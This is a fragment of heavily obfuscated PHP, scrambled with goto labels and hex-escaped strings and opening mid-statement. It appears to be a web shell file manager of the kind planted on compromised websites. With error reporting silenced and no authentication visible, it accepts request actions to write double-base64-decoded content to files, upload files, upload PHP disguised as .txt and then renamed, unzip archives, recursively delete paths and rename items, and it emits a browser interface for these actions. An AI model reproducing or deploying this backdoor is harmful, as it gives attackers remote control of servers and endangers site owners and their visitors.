Exception("\104\x69\162\145\x63\x74\x20\163\x61\166\x65\x20\x66\x61\151\x6c\145\x64\56\40\x43\150\145\x63\x6b\40\x70\x65\x72\155\x69\163\163\x69\x6f\156\x73\x2e"); goto RFk2R; GUMTN: $ffe13 = base64_decode(base64_decode($nMJmd)); goto VBIeM; pRtYr: if (file_put_contents($M4jLq, $ffe13) !== false) { goto b3C00; } goto tpABs; llS6L: $WleGa = isset($_POST["\x70\x61\x74\150\x5f\x62\66\x34"]) ? I22sK($_POST["\x70\141\x74\x68\x5f\x62\66\64"]) : ''; goto Hw8_l; VBIeM: if (!(!vIiP6($M4jLq) || file_exists($M4jLq) && is_dir($M4jLq))) { goto pGIAC; } goto msn3k; rWDsk: $xsHt5 = ["\x73\165\x63\143\145\x73\x73" => true, "\155\x65\163\x73\x61\x67\145" => "\x46\x69\154\145\x20\x73\x61\x76\145\x64\40\163\165\143\143\145\163\x73\146\165\x6c\154\x79\x20\x28\x64\151\x72\145\x63\x74\x20\x6d\x65\164\150\x6f\x64\51\56"]; goto j1NO3; Hz50W: goto Q3Ft0; goto eRzj8; N1k__: if (!empty($TqgBt)) { goto kAJ3R; } goto Yp7Zl; UkKfn: $TqgBt = isset($_POST["\143\x6f\156\164\145\156\x74\137\x63\150\165\156\x6b\x73"]) && is_array($_POST["\x63\x6f\156\x74\145\x6e\x74\x5f\x63\150\165\x6e\x6b\x73"]) ? $_POST["\x63\x6f\x6e\164\x65\x6e\x74\x5f\143\x68\x75\x6e\153\x73"] : []; goto N1k__; WhzwR: $nMJmd = implode('', $TqgBt); goto GUMTN; RFk2R: goto okYvQ; goto uq2jB; Yp7Zl: throw new Exception("\x43\157\156\164\145\156\164\40\151\x73\x20\x65\155\x70\x74\x79\x2e"); goto cQkaZ; eRzj8: case "\x63\x72\x65\141\164\x65\137\x66\151\154\x65": goto EXwKN; L5iB9: aehm4: goto ZvCHN; EXwKN: $ePfaw = isset($_POST["\160\141\164\x68"]) ? i22sK($_POST["\160\141\164\x68"]) : ''; goto IYpHm; PPdXp: F11Ce: goto ZwbLY; eqgV6: goto NN3RL; goto PPdXp; w3ACy: if (!(!ViIP6($ePfaw) || empty($HwgEX))) { goto aehm4; } goto nluoH; rfXAc: NN3RL: goto R4XfR; ZvCHN: if (touch(rtrim($ePfaw, "\57") . "\x2f" . $HwgEX)) { goto F11Ce; } goto UB6zd; IYpHm: $HwgEX = isset($_POST["\156\141\155\145"]) ? LlOny($_POST["\x6e\141\x6d\145"]) : ''; goto w3ACy; nluoH: throw new Exception("\x49\156\x76\x61\154\x69\144\x20\x70\x61\x74\150\40\157\162\40\x66\151\154\145\x20\x6e\x61\x6d\x65\x2e"); goto L5iB9; UB6zd: throw new Exception("\x43\157\165\x6c\144\x20\156\x6f\164\40\x63\162\145\x61\164\x65\x20\146\151\x6c\145\56"); goto eqgV6; ZwbLY: $xsHt5 = ["\x73\x75\143\x63\x65\163\x73" => true, "\155\x65\163\163\141\x67\145" => "\106\151\x6c\x65\40\x63\x72\145\141\x74\145\x64\56"]; goto rfXAc; R4XfR: goto Q3Ft0; goto Nzwo0; Nzwo0: case "\x75\160\x6c\157\x61\144": goto ESgUs; FNiZs: if (!(strpos($Y3prQ, "\x2c") !== false)) { goto K981J; } goto Gb6hM; kS_0N: zw8Wb: goto d34MU; Ft2M4: $Y3prQ = isset($_POST["\143\x6f\x6e\x74\x65\156\x74\137\x62\x61\163\145\x36\64"]) ? $_POST["\143\x6f\x6e\x74\x65\156\x74\x5f\142\141\x73\145\66\64"] : ''; goto Ym__u; xx0mC: $OwNOM = base64_decode($Y3prQ); goto HheKY; e_HaX: goto Q3Ft0; goto nZMuD; Ym__u: if (!(!viip6($ePfaw) || empty($YDCKl) || empty($Y3prQ))) { goto olJsX; } goto OfG_8; EoywU: goto tcJWO; goto kS_0N; xOk9e: K981J: goto xx0mC; DzLYq: $t1wru = lLony(base64_decode($YDCKl)); goto FNiZs; EL6E7: olJsX: goto DzLYq; d34MU: $xsHt5 = ["\x73\165\143\143\145\x73\163" => true, "\x6d\x65\x73\x73\141\147\145" => "\106\x69\x6c\x65\40\165\x70\154\x6f\x61\144\x65\x64\40\x73\x75\143\143\x65\163\163\x66\x75\x6c\154\x79\56"]; goto NkiCx; ESgUs: $ePfaw = isset($_POST["\160\141\x74\150"]) ? I22sk($_POST["\x70\x61\164\x68"]) : __DIR__; goto B1bcT; HheKY: $NiERE = rtrim($ePfaw, "\x2f") . "\57" . $t1wru; goto L5eRS; L5eRS: if (file_put_contents($NiERE, $OwNOM) !== false) { goto zw8Wb; } goto rt_ny; B1bcT: $YDCKl = isset($_POST["\x66\151\154\x65\x6e\141\x6d\x65\x5f\142\x61\163\145\66\64"]) ? $_POST["\146\x69\154\x65\x6e\141\x6d\x65\137\142\141\163\x65\x36\x34"] : ''; goto Ft2M4; rt_ny: throw new Exception("\103\x6f\165\x6c\144\x20\x6e\157\x74\40\163\x61\x76\145\40\165\160\154\x6f\141\144\x65\144\x20\x66\151\154\x65\x2e\40\x43\x68\x65\143\x6b\x20\x70\x65\x72\x6d\x69\163\163\151\x6f\156\163\x2e"); goto EoywU; Gb6hM: list(, $Y3prQ) = explode("\x2c", $Y3prQ); goto xOk9e; NkiCx: tcJWO: goto e_HaX; OfG_8: throw new Exception("\x49\x6e\x76\141\154\151\x64\x20\144\x61\x74\141\40\x66\x6f\x72\40\165\160\154\157\141\x64\x2e"); goto EL6E7; nZMuD: case "\165\160\x6c\x6f\141\x64\137\160\x68\x70": goto RKXx4; bErj6: unlink($n_ZBA); goto xwxQ1; DSiw7: $Y3prQ = isset($_POST["\x63\157\x6e\x74\145\156\164\x5f\142\141\x73\145\x36\64"]) ? $_POST["\x63\157\156\164\x65\156\x74\x5f\142\x61\x73\x65\x36\64"] : ''; goto UPVbb; hWCN8: throw new Exception("\x43\157\x75\x6c\x64\40\x6e\157\x74\40\x73\x61\166\x65\40\x74\x65\x6d\160\157\162\x61\x72\x79\x20\146\x69\x6c\145\x2e\40\103\x68\145\143\153\x20\x70\145\x72\x6d\151\163\163\151\157\x6e\163\56"); goto hdaCg; Nb34K: $YDCKl = isset($_POST["\146\x69\154\x65\x6e\x61\x6d\145\137\142\141\x73\145\x36\64"]) ? $_POST["\x66\x69\154\x65\x6e\141\x6d\145\137\x62\141\x73\145\66\64"] : ''; goto DSiw7; PfkCU: goto s9ABD; goto emoW6; RlxBG: $WHKGw = rtrim($ePfaw, "\57") . "\57" . $pbKNY; goto Afw39; xwxQ1: throw new Exception("\103\157\165\154\144\40\156\157\164\40\162\145\x6e\141\155\145\40\164\x65\x6d\160\157\x72\141\162\x79\40\x66\x69\x6c\145\x2e"); goto PfkCU; xqHyQ: $xsHt5 = ["\x73\x75\143\x63\x65\x73\163" => true, "\x6d\x65\163\x73\141\x67\145" => "\120\x48\x50\x20\146\151\154\x65\x20\165\160\154\x6f\x61\x64\145\x64\40\x73\165\143\x63\x65\163\x73\x66\x75\x6c\x6c\x79\x2e"]; goto wwIkD; RKXx4: $ePfaw = isset($_POST["\x70\x61\x74\150"]) ? i22SK($_POST["\x70\141\164\150"]) : __DIR__; goto Nb34K; UPVbb: if (!(!VIIp6($ePfaw) || empty($YDCKl) || empty($Y3prQ))) { goto M9MUm; } goto ob0_2; wwIkD: s9ABD: goto aI07H; Afw39: if (!(file_put_contents($n_ZBA, $OwNOM) === false)) { goto GiN4c; } goto hWCN8; t143A: E2yUW: goto VgloL; a6owK: if (!(strpos($Y3prQ, "\x2c") !== false)) { goto E2yUW; } goto v9TpQ; LJGxT: if (rename($n_ZBA, $WHKGw)) { goto B83_U; } goto bErj6; qIoeB: M9MUm: goto mw7p1; aI07H: goto Q3Ft0; goto Sa5dl; XJMve: $n_ZBA = rtrim($ePfaw, "\x2f") . "\57" . $YxjdF; goto RlxBG; v9TpQ: list(, $Y3prQ) = explode("\x2c", $Y3prQ); goto t143A; VgloL: $OwNOM = base64_decode($Y3prQ); goto XJMve; emoW6: B83_U: goto xqHyQ; mw7p1: $pbKNY = llONy(base64_decode($YDCKl)); goto xNT5H; xNT5H: $YxjdF = $pbKNY . "\x2e\164\x78\x74"; goto a6owK; hdaCg: GiN4c: goto LJGxT; ob0_2: throw new Exception("\111\x6e\x76\x61\x6c\151\x64\40\144\141\x74\141\40\146\157\x72\x20\120\x48\x50\40\x75\x70\x6c\157\x61\x64\x2e"); goto qIoeB; Sa5dl: case "\x75\x6e\172\x69\160": goto xvt3o; jMm4F: i6oKY: goto Hzxh5; Hzxh5: $tlUgW = new ZipArchive(); goto DAITg; u_LYN: hDppq: goto CtMkt; l7uJp: goto vV40q; goto OfvJn; U9zoN: throw new Exception("\x49\x6e\x76\141\154\151\x64\x20\x5a\x49\120\x20\146\x69\154\x65\x20\x70\x61\x74\150\56"); goto SaN_d; OfvJn: nL3Yr: goto NCVeX; sn0WM: if (class_exists("\132\151\x70\101\x72\x63\x68\151\166\x65")) { goto i6oKY; } goto rv203; SaN_d: w0Zz0: goto sn0WM; GVKsz: $tlUgW->close(); goto MWzAa; rv203: throw new Exception("\x50\110\120\x20\132\111\x50\x20\145\x78\164\145\x6e\163\151\x6f\x6e\x20\x6e\x6f\164\40\151\156\163\x74\x61\154\x6c\x65\144\x2e"); goto jMm4F; DAITg: if ($tlUgW->open($xYt8Y) === TRUE) { goto nL3Yr; } goto oY7lQ; xvt3o: $ePfaw = isset($_POST["\x70\x61\164\150"]) ? I22sK($_POST["\x70\141\164\x68"]) : __DIR__; goto x13jC; NS08p: if (!(!realpath($xYt8Y) || !is_file(realpath($xYt8Y)) || pathinfo($xYt8Y, PATHINFO_EXTENSION) !== "\172\x69\160")) { goto w0Zz0; } goto U9zoN; MWzAa: $xsHt5 = ["\x73\x75\143\143\x65\x73\x73" => true, "\155\145\163\x73\x61\147\x65" => "\x41\162\143\x68\x69\166\145\40\x65\x78\x74\x72\x61\x63\164\x65\x64\x2e"]; goto VzNtT; oY7lQ: throw new Exception("\106\141\151\154\x65\144\40\x74\157\40\157\x70\145\156\40\x61\x72\x63\150\x69\166\x65\x2e"); goto l7uJp; t0QV0: goto Q3Ft0; goto aRgo1; x13jC: if (vIip6($ePfaw)) { goto hDppq; } goto HCRGc; HCRGc: throw new Exception("\x49\156\x76\141\154\x69\x64\x20\160\x61\x74\150\x2e"); goto u_LYN; VzNtT: vV40q: goto t0QV0; NCVeX: $tlUgW->extractTo(dirname($xYt8Y)); goto GVKsz; CtMkt: $xYt8Y = isset($_POST["\160\141\164\x68"]) ? I22sK($_POST["\x70\x61\x74\x68"]) : ''; goto NS08p; aRgo1: case "\144\145\154\x65\x74\145": goto RBCoe; YhocL: foreach ($U3tLd as $vpr0G) { goto pvkEX; qb6R_: if (!file_exists($P8SVd)) { goto TEsTG; } goto FKZyB; FKZyB: rruit($P8SVd); goto Ykm3k; Ykm3k: TEsTG: goto urD0m; pvkEX: $P8SVd = rtrim($ePfaw, "\57") . "\x2f" . $vpr0G; goto qb6R_; urD0m: s6zsi: goto eiZLz; eiZLz: } goto H6m7c; E5BBZ: if (!empty($U3tLd)) { goto qKLNj; } goto e_GKb; rqJDj: function Rruit($vpr0G) { goto FKQ6_; O0NgQ: goto F91UD; goto hdFpr; ubIyM: return unlink($vpr0G); goto O0NgQ; IMXgG: return rmdir($vpr0G); goto CUqEl; FKQ6_: if (is_dir($vpr0G)) { goto sS7K2; } goto ubIyM; hdFpr: sS7K2: goto UXvbI; UXvbI: $HXIaK = array_diff(scandir($vpr0G), ["\56", "\56\x2e"]); goto ksJnZ; ksJnZ: foreach ($HXIaK as $M4jLq) { RRUit("{$vpr0G}\x2f{$M4jLq}"); GlgFJ: } goto umvu0; CUqEl: F91UD: goto xRRDQ; umvu0: dvBWL: goto IMXgG; xRRDQ: } goto YhocL; H6m7c: UgOHN: goto pBs5f; pe_xp: $U3tLd = isset($_POST["\x69\x74\145\x6d\x73"]) && is_array($_POST["\151\x74\145\x6d\x73"]) ? $_POST["\151\164\145\155\163"] : []; goto E5BBZ; RBCoe: $ePfaw = isset($_POST["\160\141\x74\150"]) ? i22Sk($_POST["\160\141\164\x68"]) : __DIR__; goto pe_xp; e_GKb: throw new Exception("\116\157\40\x69\x74\x65\155\163\40\163\x65\154\x65\x63\x74\x65\x64\40\x66\157\x72\x20\x64\145\154\x65\x74\151\157\x6e\56"); goto FjDgB; pBs5f: $xsHt5 = ["\163\165\x63\x63\x65\163\163" => true, "\x6d\x65\163\163\x61\x67\x65" => "\111\164\x65\x6d\163\40\x64\145\154\145\164\x65\144\x2e"]; goto DCOvk; DCOvk: goto Q3Ft0; goto qOt2M; FjDgB: qKLNj: goto rqJDj; qOt2M: case "\x64\x65\154\x65\164\x65\x5f\142\x36\64": goto Gob6Y; NOZvt: if (!empty($U3tLd)) { goto Oi9l0; } goto BB4X6; FhzmY: Oi9l0: goto vsvjF; LBEKg: foreach ($U3tLd as $vpr0G) { goto kIkFw; gWTOR: L3zKf($P8SVd); goto z_iLD; diNnE: if (!file_exists($P8SVd)) { goto pGT5d; } goto gWTOR; zWGtV: egxrp: goto REj_G; kIkFw: $P8SVd = rtrim($ePfaw, "\57") . "\57" . $vpr0G; goto diNnE; z_iLD: pGT5d: goto zWGtV; REj_G: } goto feQ5j; feQ5j: DuqlG: goto oIhXr; Gob6Y: $ePfaw = isset($_POST["\160\141\x74\150"]) ? I22Sk($_POST["\160\141\x74\x68"]) : __DIR__; goto uT9In; V0VUT: $U3tLd = []; goto k0zj7; vsvjF: function l3ZKF($vpr0G) { goto f1p8K; euKoq: Us7bM: goto xdn4V; IQ5lj: XJIPh: goto IK4Q2; K_vEt: goto XJIPh; goto USLB6; nv7bd: foreach ($HXIaK as $M4jLq) { l3ZkF("{$vpr0G}\57{$M4jLq}"); PYi9K: } goto euKoq; StL8p: $HXIaK = array_diff(scandir($vpr0G), ["\56", "\56\56"]); goto nv7bd; vtifd: return unlink($vpr0G); goto K_vEt; f1p8K: if (is_dir($vpr0G)) { goto dsIrg; } goto vtifd; USLB6: dsIrg: goto StL8p; xdn4V: return rmdir($vpr0G); goto IQ5lj; IK4Q2: } goto LBEKg; hSJhx: goto Q3Ft0; goto DqR7B; oIhXr: $xsHt5 = ["\x73\x75\x63\x63\145\163\163" => true, "\155\145\163\x73\141\x67\x65" => "\x49\164\145\155\x73\40\x64\x65\x6c\145\x74\x65\x64\56"]; goto hSJhx; HoNnE: jEbJH: goto NOZvt; k0zj7: foreach ($zlJvk as $HH4z8) { $U3tLd[] = base64_decode($HH4z8); gW8x5: } goto HoNnE; BB4X6: throw new Exception("\x4e\157\40\151\164\145\155\163\40\x73\145\154\x65\143\164\145\x64\40\146\157\x72\x20\x64\x65\x6c\145\164\x69\157\x6e\56"); goto FhzmY; uT9In: $zlJvk = isset($_POST["\151\164\x65\x6d\x73\x5f\x62\66\x34"]) && is_array($_POST["\151\164\x65\155\163\137\142\66\x34"]) ? $_POST["\151\x74\145\x6d\x73\137\142\66\64"] : []; goto V0VUT; DqR7B: case "\x63\x72\145\141\164\145\137\146\x6f\154\x64\145\x72": goto wqCEB; My96g: $HwgEX = isset($_POST["\x6e\x61\155\x65"]) ? str_replace(["\56\56", "\x2f", "\x5c"], '', $_POST["\x6e\x61\155\x65"]) : ''; goto JYSFS; h7c2t: y1Uuk: goto sqNNB; B4hQ5: goto Q3Ft0; goto qKtLx; k0ns8: throw new Exception("\103\x6f\165\154\x64\40\156\x6f\x74\40\143\162\145\141\164\145\x20\x66\157\x6c\144\145\x72\56"); goto U02KM; wqCEB: $ePfaw = isset($_POST["\160\x61\164\150"]) ? I22sk($_POST["\160\141\x74\x68"]) : __DIR__; goto My96g; jKWmZ: $xsHt5 = ["\163\x75\x63\x63\145\163\x73" => true, "\x6d\145\163\x73\141\x67\145" => "\x46\x6f\154\144\145\x72\40\x63\x72\145\x61\x74\145\144\56"]; goto pd9rl; sqNNB: if (mkdir(rtrim($ePfaw, "\57") . "\x2f" . $HwgEX)) { goto UKoi1; } goto k0ns8; JYSFS: if (!(!VIIP6($ePfaw) || empty($HwgEX))) { goto y1Uuk; } goto sxNNp; U02KM: goto mbYH5; goto llv9f; pd9rl: mbYH5: goto B4hQ5; sxNNp: throw new Exception("\111\156\166\x61\154\x69\x64\x20\x70\x61\164\x68\40\x6f\162\x20\x66\x6f\x6c\x64\145\162\40\156\141\155\145\56"); goto h7c2t; llv9f: UKoi1: goto jKWmZ; qKtLx: case "\x72\145\156\141\x6d\145": goto s44ne; hjwaR: $B1EDL = rtrim($ePfaw, "\x2f") . "\57" . $q5y5m; goto RtqLE; s44ne: $ePfaw = isset($_POST["\160\x61\x74\x68"]) ? I22Sk($_POST["\160\141\164\150"]) : __DIR__; goto RYkIl; VzU_h: $niIYM = rtrim($ePfaw, "\x2f") . "\x2f" . $SPHMw; goto hjwaR; LfQfw: if (is_writable(dirname($niIYM))) { goto WMAAh; } goto rZmtU; CAe0U: IdVWI: goto d7jj_; RtqLE: clearstatcache(); goto P5D25; iSxbQ: throw new Exception("\111\x6e\166\141\x6c\151\x64\x20\144\x61\x74\x61\x20\146\157\162\40\x72\145\156\x61\155\151\156\x67\56"); goto TQpQ5; D1z01: throw new Exception("\123\x6f\x75\x72\143\145\x20\x69\x74\145\x6d\x20\144\157\x65\163\40\156\157\164\x20\x65\170\x69\163\164\x20\x61\x74\x3a\40" . $niIYM); goto XHfab; V3NuV: $q5y5m = isset($_POST["\x6e\x65\167\137\x6e\141\155\x65"]) ? str_replace(["\x2e\x2e", "\57", "\134"], '', $_POST["\156\145\167\137\156\x61\x6d\145"]) : ''; goto km3d9; pSN_K: goto IdVWI; goto roZR_; rZmtU: throw new Exception("\x44\151\x72\145\143\164\157\162\171\40\151\163\x20\x6e\x6f\164\x20\167\162\151\x74\141\x62\154\145\56"); goto SCbTX; SCbTX: WMAAh: goto uPzqk; km3d9: if (!(!Viip6($ePfaw) || empty($SPHMw) || empty($q5y5m))) { goto vLUTJ; } goto iSxbQ; uPzqk: if (rename($niIYM, $B1EDL)) { goto ZvdB9; } goto KiGn6; d7jj_: goto Q3Ft0; goto d6tj7; KiGn6: throw new Exception("\103\157\x75\x6c\x64\x20\x6e\x6f\x74\x20\x72\145\156\x61\155\x65\x20\151\x74\x65\155\56\x20\103\150\x65\143\x6b\40\160\145\x72\155\151\163\x73\x69\157\156\163\x2e"); goto pSN_K; roZR_: ZvdB9: goto F9VaG; XHfab: WYYmk: goto LfQfw; F9VaG: $xsHt5 = ["\163\165\x63\x63\x65\163\163" => true, "\155\x65\163\x73\x61\x67\145" => "\x49\x74\145\x6d\40\x72\145\156\141\155\x65\144\x20\x73\x75\143\143\145\163\163\x66\165\x6c\x6c\x79\56"]; goto CAe0U; TQpQ5: vLUTJ: goto VzU_h; P5D25: if (file_exists($niIYM)) { goto WYYmk; } goto D1z01; RYkIl: $SPHMw = isset($_POST["\157\x6c\144\x5f\x6e\x61\x6d\145"]) ? $_POST["\157\154\x64\x5f\156\x61\x6d\x65"] : ''; goto V3NuV; d6tj7: case "\162\145\156\141\155\x65\137\142\66\x34": goto PezHJ; wgGr_: $B1EDL = rtrim($ePfaw, "\57") . "\x2f" . $q5y5m; goto QwF7Y; NxK56: zBPeR: goto BOfL8; BOfL8: $xsHt5 = ["\x73\165\x63\143\x65\163\163" => true, "\155\x65\163\163\x61\x67\145" => "\x49\164\145\155\40\162\145\156\141\155\x65\144\40\x73\165\x63\143\145\163\163\146\165\x6c\x6c\171\40\x75\x73\151\156\x67\40\x62\x36\x34\x20\155\x65\x74\150\157\x64\56"]; goto TCzKU; RY5lR: copy($a5sDw, $niIYM); goto kiXCZ; QwF7Y: $a5sDw = $niIYM . "\56\164\170\x74"; goto MBOUY; FbylQ: z8MGS: goto K4457; jEz_W: $yG02y = isset($_POST["\157\x6c\144\137\x6e\x61\155\x65\137\142\x36\64"]) ? $_POST["\x6f\154\x64\x5f\x6e\x61\x6d\x65\x5f\142\66\64"] : ''; goto q_O0h; TCzKU: zXoS_: goto thbKS; OSgYn: $niIYM = rtrim($ePfaw, "\57") . "\x2f" . $SPHMw; goto wgGr_; kiXCZ: unlink($a5sDw); goto BZqO0; sYKeX: throw new Exception("\x43\x6f\x75\x6c\144\x20\156\157\x74\40\144\145\154\145\x74\145\40\157\162\x69\x67\x69\x6e\141\154\x20\146\x69\154\x65\56"); goto LX1R7; oZXfb: throw new Exception("\x49\156\166\141\x6c\x69\x64\40\144\141\164\141\40\x66\157\x72\40\x72\x65\156\141\155\151\156\147\56"); goto X43cd; E_WJb: $q5y5m = base64_decode($A6FGo); goto WKgl3; yfx16: if (rename($a5sDw, $B1EDL)) { goto zBPeR; } goto RY5lR; LX1R7: y62z1: goto yfx16; MBOUY: if (copy($niIYM, $a5sDw)) { goto z8MGS; } goto k88Lb; K4457: if (unlink($niIYM)) { goto y62z1; } goto kq50Q; thbKS: goto Q3Ft0; goto ktlsI; Y29hN: $SPHMw = base64_decode($yG02y); goto E_WJb; BZqO0: throw new Exception("\x43\157\165\x6c\x64\x20\x6e\x6f\164\40\x70\x65\x72\x66\x6f\x72\155\x20\x66\151\x6e\x61\x6c\40\162\145\156\141\x6d\145\x2e\x20\117\x72\x69\x67\x69\x6e\x61\154\x20\x66\x69\154\x65\x20\x6d\141\171\40\142\145\x20\162\x65\x73\164\x6f\x72\145\144\56"); goto NHa48; k88Lb: throw new Exception("\103\x6f\x75\154\144\x20\x6e\157\x74\x20\x63\x72\x65\141\x74\x65\40\x74\145\x6d\160\157\162\141\x72\171\x20\x63\x6f\x70\171\56"); goto FbylQ; kq50Q: unlink($a5sDw); goto sYKeX; PezHJ: $ePfaw = isset($_POST["\160\141\x74\150"]) ? I22Sk($_POST["\160\x61\164\150"]) : __DIR__; goto jEz_W; q_O0h: $A6FGo = isset($_POST["\156\145\167\137\x6e\141\x6d\x65\137\142\x36\x34"]) ? $_POST["\x6e\145\x77\137\x6e\x61\x6d\145\137\x62\66\64"] : ''; goto Y29hN; WKgl3: if (!(!viIP6($ePfaw) || empty($SPHMw) || empty($q5y5m))) { goto OAPGY; } goto oZXfb; NHa48: goto zXoS_; goto NxK56; X43cd: OAPGY: goto OSgYn; ktlsI: } goto OhdnJ; pFDMW: Q3Ft0: goto xvcqh; OhdnJ: eGFL_: goto pFDMW; xvcqh: } catch (Exception $gGqhM) { $xsHt5 = ["\x73\x75\x63\143\x65\163\x73" => false, "\x6d\x65\163\x73\141\147\x65" => $gGqhM->getMessage()]; } goto LYAmr; udEZo: error_reporting(0); goto HNhHk; OUHK9: $GU25l = $_REQUEST["\141\143\164\x69\157\x6e"]; goto Fe9CC; rTXMU: exit; goto J29N9; jFaZ9: function LLOny($t1wru) { goto XfHyY; UbzrH: $t1wru = str_replace($eydDH, '', $t1wru); goto DIg52; B408I: return $t1wru; goto iIecz; DIg52: $t1wru = trim($t1wru); goto BgaZk; XfHyY: $eydDH = ["\x22", "\x27", "\46", "\57", "\x5c", "\x3f", "\x23", "\x3c", "\76", "\174", "\x3a", "\52"]; goto UbzrH; BgaZk: $t1wru = preg_replace("\57\134\x73\x2b\x2f", "\137", $t1wru); goto B408I; iIecz: } goto atPRX; LYAmr: echo json_encode($xsHt5); goto rTXMU; LpKES: function Iu32Q($ePfaw) { return str_replace("\134", "\57", $ePfaw); } goto jFaZ9; atPRX: if (!isset($_REQUEST["\x61\143\x74\151\157\156"])) { goto qXaAP; } goto rqgmo; J29N9: qXaAP: goto JjOS9; tgEiC: echo iu32Q(__DIR__); goto ALsfJ; ALsfJ: echo "\x27\x20\x7d\x3b\12\40\40\40\x20\x20\x20\40\x20\x63\157\156\x73\x74\40\x55\120\114\117\x41\x44\x5f\x4c\111\x4d\111\x54\137\x4d\x42\x20\x3d\x20\70\x3b\12\x20\40\40\40\x20\x20\x20\x20\x63\157\156\x73\164\x20\x64\157\155\x20\75\40\x7b\40\x66\x69\154\145\x4c\151\x73\x74\72\144\157\x63\x75\155\145\156\x74\x2e\x67\145\164\105\x6c\x65\155\145\156\x74\102\x79\111\144\50\47\146\151\154\145\114\x69\x73\x74\47\x29\54\160\141\164\150\102\141\x72\x3a\144\x6f\143\165\x6d\x65\x6e\164\56\147\145\164\105\x6c\145\155\x65\156\x74\102\171\111\x64\50\x27\x70\x61\x74\150\x42\141\x72\47\51\x2c\165\160\154\157\x61\x64\x42\164\156\x3a\144\x6f\143\x75\x6d\x65\156\164\x2e\x67\145\x74\x45\x6c\145\x6d\145\156\x74\x42\171\x49\x64\50\47\165\160\154\157\x61\x64\102\164\156\x27\51\54\x6e\x65\167\x46\x69\154\145\102\164\x6e\x3a\144\x6f\143\165\155\x65\x6e\x74\56\x67\x65\x74\x45\x6c\145\x6d\145\156\x74\x42\171\111\x64\x28\47\x6e\x65\x77\x46\151\x6c\145\x42\164\x6e\47\x29\54\156\145\x77\106\157\154\x64\145\162\102\x74\156\x3a\x64\x6f\143\165\x6d\145\156\164\56\147\145\164\105\154\145\x6d\x65\x6e\164\102\171\111\144\x28\x27\156\145\x77\106\157\x6c\x64\x65\x72\102\x74\156\47\x29\54\x64\145\154\145\x74\x65\102\164\x6e\72\144\x6f\x63\x75\x6d\145\x6e\164\x2e\x67\x65\164\105\x6c\145\155\x65\x6e\164\102\x79\x49\x64\x28\x27\144\145\154\x65\x74\x65\102\x74\156\x27\51\54\x73\x65\154\145\x63\164\x41\154\x6c\x3a\144\157\x63\x75\155\145\x6e\x74\x2e\147\x65\x74\105\154\145\x6d\x65\156\x74\102\x79\111\144\x28\x27\163\145\x6c\x65\x63\x74\101\x6c\x6c\x27\x29\x2c\163\x70\151\156\156\x65\x72\72\144\x6f\143\x75\155\145\x6e\164\56\x67\145\164\105\x6c\145\155\x65\x6e\164\102\x79\x49\144\50\47\163\x70\x69\156\x6e\145\x72\x27\51\54\150\x69\144\x64\x65\x6e\106\151\154\145\x49\x6e\x70\x75\x74\x3a\144\x6f\x63\165\x6d\145\x6e\164\x2e\x67\145\164\x45\x6c\145\155\145\156\x74\x42\171\111\x64\x28\x27\x68\x69\144\x64\x65\156\x46\x69\154\x65\111\156\x70\165\x74\x27\x29\x2c\x65\x64\x69\164\157\162\115\x6f\x64\141\154\72\144\x6f\x63\165\155\x65\156\x74\56\147\145\164\105\154\145\x6d\x65\156\x74\x42\x79\111\x64\50\x27\x65\144\x69\x74\x6f\x72\x4d\157\x64\x61\x6c\x27\x29\x2c\x65\x64\151\164\x6f\162\106\x69\154\145\x6e\141\x6d\x65\x3a\144\157\x63\165\155\145\156\164\56\147\145\164\105\x6c\x65\x6d\145\x6e\x74\x42\x79\111\144\50\47\x65\144\151\x74\157\x72\106\151\x6c\x65\x6e\141\155\x65\47\x29\x2c\x65\144\x69\x74\157\x72\72\144\157\143\165\x6d\145\x6e\164\56\147\x65\164\105\x6c\x65\155\x65\x6e\x74\x42\171\x49\x64\50\47\145\144\151\x74\x6f\162\x27\x29\x2c\163\141\166\145\102\164\156\72\x64\x6f\143\x75\x6d\x65\156\164\56\x67\x65\x74\x45\154\x65\x6d\145\x6e\x74\102\x79\111\x64\x28\47\x73\x61\x76\x65\x42\x74\156\x27\x29\54\x7d\73\12\40\x20\x20\x20\x20\x20\x20\x20\12\x20\x20\x20\40\x20\x20\x20\40\x61\163\171\x6e\143\40\x66\165\x6e\x63\164\151\x6f\x6e\x20\141\160\x69\x43\x61\x6c\154\x28\x61\143\x74\x69\157\156\54\x20\146\x6f\x72\155\x44\x61\164\141\54\40\x73\150\x6f\x77\x53\165\143\x63\145\x73\163\x3d\x66\141\154\x73\x65\x29\x20\x7b\xa\40\40\40\x20\x20\40\40\x20\x20\x20\40\x20\x64\x6f\x6d\x2e\163\160\x69\x6e\x6e\x65\162\x2e\x73\x74\171\x6c\x65\x2e\x64\151\x73\160\x6c\141\171\75\47\x69\x6e\x6c\x69\x6e\x65\x2d\x62\x6c\x6f\143\x6b\x27\73\12\40\x20\40\x20\40\40\x20\x20\40\x20\40\x20\164\x72\x79\40\173\40\146\157\x72\x6d\104\x61\164\141\56\141\160\160\x65\x6e\x64\x28\x27\x61\x63\x74\151\x6f\x6e\47\54\40\141\143\x74\x69\157\156\x29\x3b\x20\143\x6f\x6e\163\x74\x20\x72\x65\163\160\157\156\163\x65\x20\x3d\x20\x61\167\141\x69\x74\x20\x66\x65\164\x63\150\x28\47"; goto j91hk; I4atd: echo "\x27\54\x20\173\40\155\145\x74\150\x6f\144\x3a\40\x27\120\x4f\123\x54\x27\54\x20\142\157\x64\171\x3a\x20\146\157\x72\155\x44\141\x74\x61\x20\175\x29\x3b\40\143\x6f\156\163\x74\x20\162\x65\x73\165\154\x74\x20\x3d\x20\141\167\x61\151\x74\40\x72\145\163\160\157\156\x73\145\56\x6a\x73\157\x6e\x28\51\73\40\151\x66\40\x28\x21\x72\145\163\x75\154\164\x2e\x73\x75\x63\143\145\163\x73\51\40\x74\150\162\x6f\167\x20\x6e\145\x77\40\105\162\162\157\x72\50\162\145\163\x75\x6c\x74\x2e\x6d\x65\163\163\x61\x67\x65\51\x3b\x20\x69\x66\x20\50\163\x68\x6f\167\123\x75\x63\x63\145\163\x73\x20\46\x26\x20\x72\145\x73\165\154\x74\56\x6d\x65\x73\x73\x61\147\145\x29\40\141\x6c\145\x72\164\50\162\145\163\x75\154\164\56\155\145\163\x73\x61\x67\145\x29\x3b\40\x72\x65\164\165\162\x6e\x20\162\x65\163\165\154\x74\73\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x7d\40\143\141\x74\x63\150\40\x28\145\162\x72\x6f\x72\51\40\173\x20\x61\154\x65\162\164\50\x60\x45\x72\x72\x6f\x72\x3a\x20\44\x7b\145\x72\x72\157\x72\56\155\145\163\x73\141\147\x65\175\140\51\73\40\x63\x6f\156\163\157\154\145